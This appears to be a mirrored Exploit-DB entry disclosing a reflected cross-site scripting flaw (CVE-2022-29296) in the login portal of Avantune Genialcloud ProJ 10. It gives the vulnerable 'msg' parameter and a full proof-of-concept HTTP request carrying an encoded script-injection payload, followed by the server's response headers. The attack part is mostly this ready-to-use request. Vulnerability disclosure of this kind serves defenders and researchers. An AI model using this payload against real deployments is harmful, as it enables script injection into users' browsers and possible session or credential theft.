Avantune Genialcloud ProJ 10 – Cross-Site Scripting (XSS) - 体验盒子

作者： Andrea Intilangelo

日期： 2022-06-14

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/50955/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

# Exploit Title: Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS)

# Date: 2022-06-01

# Exploit Author: Andrea Intilangelo

# Vendor Homepage: https://www.avantune.com

# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com

# Version: 10

# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)

# CVE: CVE-2022-29296

Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the

same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject

and execute arbitrary web scripts or HTML via a crafted payload.

Request parameters affected is "msg".

PoC Request:

GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1

Host: [REDACTED]

Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Connection: close

Cache-Control: max-age=0

PoC Response:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/10.0

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 11 May 2022 10:51:10 GMT

Connection: close

Content-Length: 8162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head><link rel="stylesheet"

...[SNIP]...

...[SNIP]...